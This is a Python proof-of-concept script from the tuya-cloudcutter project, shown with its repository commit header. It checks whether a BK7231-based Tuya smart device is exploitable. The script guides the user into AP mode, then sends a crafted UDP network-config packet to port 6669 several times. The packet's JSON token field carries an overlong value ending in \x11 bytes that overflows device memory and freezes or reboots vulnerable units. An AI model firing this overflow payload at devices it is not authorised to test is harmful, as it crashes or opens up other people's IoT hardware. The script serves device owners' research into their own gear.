Files
tuya-cloudcutter/proof-of-concept/test_device_exploitable.py
Eyal f025a0062d Improve the documentation about how to enter AP mode. (#815)
This unifies the instructions so that they will be consistent and
correct across the various tools and docs.
2025-06-29 19:02:40 -05:00

76 lines
3.0 KiB
Python

import struct
import time
import zlib
import socket
import sys
MAX_CONFIG_PACKET_PAYLOAD_LEN = 0xE8
VICTIM_IP = '192.168.175.1'
VICTIM_PORT = 6669
def build_network_config_packet(payload):
if len(payload) > MAX_CONFIG_PACKET_PAYLOAD_LEN:
raise ValueError('Payload is too long!')
# NOTE
# fr_num and crc do not seem to be used in the disas
# calculating them anyway - in case it's needed
# for some reason.
tail_len = 8
head, tail = 0x55aa, 0xaa55
fr_num, fr_type = 0, 0x1
plen = len(payload) + tail_len
buffer = struct.pack("!IIII", head, fr_num, fr_type, plen)
buffer += payload
crc = zlib.crc32(buffer)
buffer += struct.pack("!II", crc, tail)
return buffer
def send_network_config_datagram(datagram):
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
client.sendto(datagram, (VICTIM_IP, VICTIM_PORT))
def encode_json_val(value):
encoded = []
escaped = list(map(ord, '"\\'))
escape_char = ord('\\')
for i in value:
if i in escaped:
encoded.append(escape_char)
encoded.append(i)
return bytes(encoded)
def check_valid_payload(value):
eq_zero = lambda x: x == 0
if any(map(eq_zero, value)):
print('[!] At least one null byte detected in payload. Clobbering will stop before that.')
return value
print("This script will attempt to help you lower the chances of prying open a device that won't be exploitable")
print("However, it's not 100% foolproof either, there are more devices that are vulnerable which are not based on")
print("the BK7231 chipset. So, please take that into account.")
print('Before continuing, please set your device in AP mode first. This can usually be accomplished by either:')
print(' - 3 power cycles off and on with ~1 sec between each, wait for the device to fast-blink, then repeat 3 more power cycles')
print(' - Long press the power/reset button on the device until it starts fast-blinking, then release, and then hold the power/reset button again until the device starts slow-blinking.')
answer = input('Is your device now in AP mode? (yes/no) [default: no]: ').lower()
if not 'y' in answer:
print("Testing requires AP mode. If the device does not have it, it's not exploitable.")
sys.exit(0)
input("Please connect to the device's AP then hit enter to continue.")
payload = b'{"ssid":"A","token":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x11\x11\x11\x11","passwd":"AAAA"}'
payload = check_valid_payload(payload)
datagram = build_network_config_packet(payload=payload)
for _ in range(5):
send_network_config_datagram(datagram=datagram)
time.sleep(0.200)
print("Exploit payload sent! If the device has an LED and now seems to be 'frozen', it's likely exploitable.")
print("Leave it be for ~60 seconds, if its WiFi AP stops showing up then it reboots and 'unfreezes' by itself, then it's almost definitely exploitable.")